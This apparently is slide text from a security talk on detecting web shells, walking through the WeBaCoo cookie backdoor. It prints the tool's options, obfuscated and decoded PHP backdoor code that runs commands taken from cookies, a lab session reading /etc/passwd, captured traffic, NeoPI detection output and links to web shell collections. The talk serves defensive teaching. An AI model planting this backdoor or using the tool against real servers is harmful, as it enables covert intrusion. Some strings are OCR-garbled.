- r Return un-obfuscated backdoor code
- t Establish remote "terminal" connection (-u is required)
- u URL Backdoor URL
WeBaCoo – Shell Creation

C:\WeBaCoo>webacoo.pl -g -o webacoo.php

WeBaCoo 0.2.3 - Web Backdoor Cookie Script-Kit
Copyright (C) 2011-2012 Anestis Bechtsoudis
{ @anestisb | anestis@bechtsoudis.com | http(s)://bechtsoudis.com }

[+] Backdoor file "webacoo.php" created.
C:\WeBaCoo>
<?php
$b=strrev("edoced_4"."6esab") ; eval($b(str_replace("","","awyoaxnzxzqojf9dtt09lsuvbj2ntj10pkxtvyl9zdgfvydcgpo3n5c3rlbshiyn1njrfzgvjbj2rlkcrfq09ps01fwydbjsddks4nidi+jjentttzzxrtjb29ra");

WUoJF9DTo9LSUVbj2NuJ10sJF9DTo9LSUVbj2NwJ10uYmFzZTY0X2VuY29kZShvY19nZXRfY29u
dGVudHMokSkujF9DTo9LSUVbj2NwJ10pO29iX2VuZF9jbGVhbigpO30 = "))) ; ?>
<?php
$b=strrev("edoced_4"."6esab");
eval($b(str_replace(" ","a W Y o a X N z Z X Q o J F 9 D T 0 9 L S U V b J 2 N t J 1 0 p K X t v Y l 9 z d G F y d C g p O 3 N 5 c 3 R l b S h i Y X N l N j R f Z G V j b 2 R l K C R f Q 0 9 P S 0 l F W y d j b S d d K S 4 n I D I + J j E n K T t z Z X R j b 2 9 r a W U o J F 9 D T 0 9 L S U V b J 2 N u J 1 0 s J F 9 D T 0 9 L S U V b J 2 N w J 1 0 u Y m F z Z T Y 0 X 2 V u Y 2 9 k Z S h v Y l 9 n Z X R f Y 2 9 u d G V u d H M o K S k u J F 9 D T 0 9 L S U V b J 2 N w J 1 0 p O 2 9 i X 2 V u Z F 9 j b G V h b i g p O 3 0 = ")));
?>
<?php
    if(isset($_COOKIE['cm'])){ ob_start();
        $b=strrev("edoced_4"."6esab");
        system($b($_COOKIE['cm']).'2>&1');
        setcookie($_COOKIE['cn'],$_COOKIE['cp'] . base64_encode(ob_get_contents()).$_COOKIE['cp']);
    }
?>
WeBaCoo – Connect via Terminal

```plaintext

WeBaCoo 0.2.3 - Web Backdoor Cookie Script-Kit
Copyright (C) 2011-2012 Anestis Bechts oudis
{ @anestisb | anestis@bechtsoudis.com | http(s)://bechtsoudis.com }

[+] Connecting to remote server as...
uid=33(www-data) gid=33(www-data) groups=33(www-data)

[*] Type 'load' to use an extension module.
[*] Type ':<cmd>' to run local OS commands.
[*] Type 'exit' to quit terminal.

webacoo$ -
```
WeBaCoo – Connect via Terminal

```
webacoo$ /bin/cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daoen:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/syn
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101:/var/lib/libuuid:/bin/sh
syslog:x:101:103:/home/syslog:/bin/false
messagebus:x:102:105:/var/run/dbus:/bin/false
remnux:x:1000:1000:REMNux User,,:/home/remnux:/bin/bash
usbmux:x:103:46:usbmux daemon,,:/home/usbmux:/bin/false
honeyd:x:104:111:Honeyd daemon,,:/var/log/honeypot:/bin/false
sshd:x:105:65534:/var/run/sshd:/usr/sbin/nologin
debian-tor:x:106:112:/var/lib/tor:/bin/bash
stunnel4:x:107:113:/var/run/stunnel4:/bin/false
inetd:x:108:114:/var/lib/inetd:/bin/false
clamav:x:109:115:/var/lib/clamav:/bin/false
 tomcat7:x:110:117:/usr/share/tomcat7:/bin/false
webacoo$  
```
WeBaCoo – Establish Connection

C:\WeBaCoo>webacoo.pl -t -u http://192.168.233.131/webacoo.php

WeBaCoo 0.2.3 – Web Backdoor Cookie Script-Kit
Copyright (C) 2011-2012 Anestis Bechtsoudis
{ @anestisb | anestis@bechtsoudis.com | http(s)://bechtsoudis.com }

[+] Connecting
uid=33{www-data}
[+] Type 'load'
[+] Type ':<cmd
[+] Type 'exit'

webacoo

Follow TCP Stream

Stream Content

GET http://192.168.233.131/webacoo.php HTTP/1.1
Host: 192.168.233.131:80
Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0.2) Gecko/20100101 Firefox/6.0.2
Connection: Close

Cookie: cm=aWQ=; cn=M-cookie; cp=8zM$

HTTP/1.1 200 OK
Date: Sun, 08 Jun 2014 22:10:30 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.10
Set-Cookie: M-cookie=8zM$
24dwlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMhy3d3ctZGF0YSkK8zM%24
Vary: Accept-Encoding
Content-Length: 0
Connection: close
Content-Type: text/html
WeBaCoo – Execute “/bin/cat /etc/passwd”
HTTP Request Cookie Header

Cookie: cm=L2Jpbi9jYXQgL2V0Yy9wYXNzd2Q=; cn=M-cookie; cp=spK%

HTTP Response Set-Cookie Header

Set-Cookie: M-cookie=spK%25cm9vdDp4OjA6MDpyb290O...2FtZXoxMTc6Oi91c3Ivc2hhcmUvdG9tY2F0NzovYmluL2ZhbHNlCg%3D%3DspK%25

webacoo.php

```php
<?php
if(isset($_COOKIE['cm'])){  
ob_start();  
$b=strrev("edoced_4"."6esab");  
system($b($_COOKIE['cm']).'2>&1');  
setcookie($_COOKIE['cn'],$_COOKIE['cp'].base64_encode(ob_get_contents()).$_COOKIE['cp']);
}
?>
```
WeBaCoo Usage – More Options

- `m METHOD` HTTP method to be used (default is GET)
- `c C_NAME` Cookie name (default: "M-cookie")
- `d DELIM` Delimiter (default: New random for each request)
- `a AGENT` HTTP header user-agent (default exist)
- `p PROXY` Use proxy (tor, ip:port or user:pass:ip:port)
- `v LEVEL` Verbose level
  - 0: no additional info (default)
  - 1: print HTTP headers
  - 2: print HTTP headers + data
- `l LOG` Log activity to file
- `h` Display help and exit
- `update` Check for updates and apply if any
WeBaCoo Usage – More Options

```bash
C:\WeBaCoo>webacoo.pl -t -c COOKIEMONSTER -d CHOMP -u http://192.168.233.131/webacoo.php

WeBaCoo 0.2.3 – Web Backdoor Cookie Script-Kit
Copyright (C) 2011-2012 Anestis Bechtsoudis
{ @anestisb | anestis@bechtsoudis.com | http(s)://bechtsoudis.com }
```

---

**Follow TCP Stream**

Stream Content:

```
GET http://192.168.233.131/webacoo.php HTTP/1.1
Host: 192.168.233.131:80
Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0.2) Gecko/20100101 Firefox/6.0.2
Connection: Close
Cookie: cm=aWQ=; cn=COOKIEMONSTER; cp=CHOMP

HTTP/1.1 200 OK
Date: Mon, 09 Jun 2014 16:33:20 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.10
Set-Cookie: COOKIEMONSTER=CHOMPdWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGpIGdyb3Vwcz0zMyh3d3ctZGF0YS
kKCHOMP
Vary: Accept-Encoding
Content-Length: 0
Connection: close
Content-Type: text/html
```
WeBaCoo – Host Detection (Entropy)

remnux@remnux:~/NeoPI$ neopi.py -e /var/www/files/

Ver. *.USEGIT

[[ Total files scanned: 14 ]]
[[ Total files ignored: 0 ]]
[[ Scan Time: 0.240000 seconds ]]

[[ Top 10 entropic files for a given search ]] 
5.9233 /var/www/files/b374k.php
5.7458 /var/www/files/webacoo.php
5.6977 /var/www/files/index.html.1
5.6950 /var/www/files/index.html.2
5.6356 /var/www/files/searchNavigation.jsp
5.5138 /var/www/files/sale.jsp
5.5059 /var/www/files/PetMeds
5.4651 /var/www/files/Tos.jsp
5.4415 /var/www/files/index.jsp
5.3886 /var/www/files/JspSpy.jsp
WeBaCoo – Host Detection (Signatures)

```python
remux@remux:~/NeoPI$ neopi.py -s /var/www/files/


[[ Total files scanned: 14 ]]  
[[ Total files ignored: 0 ]]  
[[ Scan Time: 0.220000 seconds ]]  

[[ Top 10 signature match counts ]]  
78 /var/www/files/JspSpy.jsp  
26 /var/www/files/b374k.php  
4 /var/www/files/searchNavigation.jsp  
2 /var/www/files/index.html.1  
2 /var/www/files/sale.jsp  
2 /var/www/files/index.html.2  
1 /var/www/files/webacoo.php  
0 /var/www/files/trust-online-account.jsp  
0 /var/www/files/warranty_validation.jsp  
0 /var/www/files/index.jsp
```
Summary

- Event the simplest web shells can have severe impact
- While they are hard to detect, helpful strategies and tools do exist.
  - Network Detection: Traffic patterns, IDS
  - Host Detection: Existing tools, custom scripts, integrity checkers
  - Forensics: Understand the technology, timelines
  - Malware Analysis: Determine functionality, assess reliability within current infrastructure

- Be proactive and check your public facing servers for web shells.
Other Resources

► Articles/Papers
  ► Mo' Shells Mo' Problems - Deep Panda Web Shells
     (http://www.crowdstrike.com/blog/mo-shells-mo-problems-deep-panda-web-shells/)

  ► “The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell”
     (http://www.fireeye.com/resources/pdfs/fireeye-china-chopper-report.pdf)

  ► “Gathering in the Middle East, Operation STTEAM”
     (http://www.fidelissecurity.com/webfm_send/377)

► Malware
  ► https://github.com/tennc/webshell/
  ► https://github.com/nikicat/web-malware-collection/tree/master/Backdoors
Closing

► Questions?
► Ideas?
► Other challenges to web shell detection/analysis?

► Contact:
  ► Twitter: @asoni
  ► Email: soni_anuj@bah.com